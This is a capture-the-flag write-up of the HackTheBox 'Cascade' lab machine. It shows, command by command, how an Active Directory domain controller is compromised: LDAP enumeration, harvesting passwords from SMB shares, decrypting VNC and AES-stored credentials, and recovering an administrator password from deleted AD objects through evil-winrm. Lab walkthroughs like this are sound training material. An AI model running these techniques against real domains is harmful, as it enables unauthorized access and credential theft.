Post

Cascade

Cascade is a medium difficulty Windows machine configured as a Domain Controller where LDAP anonymous binds are enabled.

Cascade

Summary

r.thompson’s password was obtained using an ldap search, then and encrypted password for s.smith was found in a SMB share Data. In another share Audit$ there was an sqlite database file containing an AES encrypted password for the user ArkSvc, the key and IV to decrypt this password were found after decompiling CascAudit.exe and CascCrypto.dll.

ArkSvc was able to access deleted objects, TempAdmin’s password was disclosed which was the same used by the Administrator.

Enum

nmap

Initial port scan reveals the presence of multiple open ports like 88, 445,389… indicating that we are dealing with a domain controller in the domain cascade.local

1
2
3
sudo nmap 10.10.10.182 -p- -sS -T4 -oN nmap/ss-all.nmap
ports=$(cat nmap/ss-all.nmap | grep open | cut -d '/' -f 1 | tr '\n' ',')
nmap 10.10.10.182 -p $ports -sV -sC -oN nmap/svc.nmap -Pn

ldap

An LDAP search showed a list of users, we choose to include the distinguished name of only one user because we’re gonna be using it next.

1
2
3
4
$ ldapsearch -x -H ldap://10.10.10.182 -b "dc=cascade,dc=local" | grep 'dn' | grep -i 'users'
...
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
...

Using this dn we perfomed another ldap scan and we found the credentials for the user r.thompson.

1
ldapsearch -x -H ldap://cascade.local/ -b "CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local" "cn" "sAMAccountName" "cascadeLegacyPwd"

The password was base64 encoded, so we decoded it.

1
2
$ echo 'clk0bjVldmE=' | base64 -d
rY4n5eva

smb

r.thompson had read access over Data share

1
crackmapexec smb 10.10.10.182 -u r.thompson -p rY4n5eva --shares

We accessed the share, and browsed to the IT directory where we found a registry file called VNC Install.reg inside s.smith directory.

1
smbclient.py r.thompson:rY4n5eva@cascade.local

In this registry file we found a password in an unusual format.

# cat IT/Temp/s.smith/VNC Install.reg
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
...
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
...

With the help of VNCDecrypt we were able to decrypt it: sT333ve2

1
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

We used the directory name (s.smith) as a username with the password we decrypted to access Audit$ share.

1
smbclient.py s.smith:sT333ve2@cascade.local

Inside DB directory we found an sqlite3 database Audit.db and downloaded it.

We then opened it with sqlitebrowser and got two tables:

DeletedUserAudit:

ldap:

On the ldap table there was a password for ArkSvc user: BQO5l5Kj9MdErXx6Q6AGOw==, but it seemed to be encrypted.

From the $Audit share, we downloaded CascAudit.exe and CascCrypto.dll to a windows machine and decompiled them using dotPeek.

In CascAudit/CascAudiot/MainModule we found the key used for encryption: c4scadek3y654321.

And the Initialization Vector(IV) was found in CascCrypto/CascCrypto/Crypto: 1tdyjCbY1Ix49842.

We also noted that the encryption algorithm used is AES-128.

Knowing the algorithm used, the key and the IV we decrypted the password using cyberchef:

1
w3lc0meFr31nd

Foothold

s.smith

s.smith and Arksvc are members of Remote Management Users group, which allowed them to access the machine using winrm.

We first logged in as s.smith to retreive th first flag.

1
evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2

ArkSvc

Then as ArkSvc, as s.smith gave us nothing to escalate our privileges.

1
evil-winrm -i 10.10.10.182 -u ArkSvc -p w3lc0meFr31nd

PrivEsc

ArkSvc is a member of AD Recycle Bin group, which gives him the ability to view deleted objects.

1
whoami /groups

In Data share there was a note in a html file IT\Email Archives\Meeting_Notes_June_2018.html stating that a user TempAdmin which uses the same password as the domain administrator was deleted at the end of 2018.

We got a base64 encoded password: YmFDVDNyMWFOMDBkbGVz from the deleted objects.

1
Get-ADObject -filter 'isDeleted -eq $true -and samaccountname -eq "TempAdmin"' -includeDeletedObjects -Properties *

Decoded it

1
2
$ base64 -d <<< 'YmFDVDNyMWFOMDBkbGVz'
baCT3r1aN00dles

And used it to access the machine as Administrator using evil-winrm.

1
evil-winrm -i 10.10.10.182 -u Administrator -p baCT3r1aN00dles

This post is licensed under CC BY 4.0 by the author.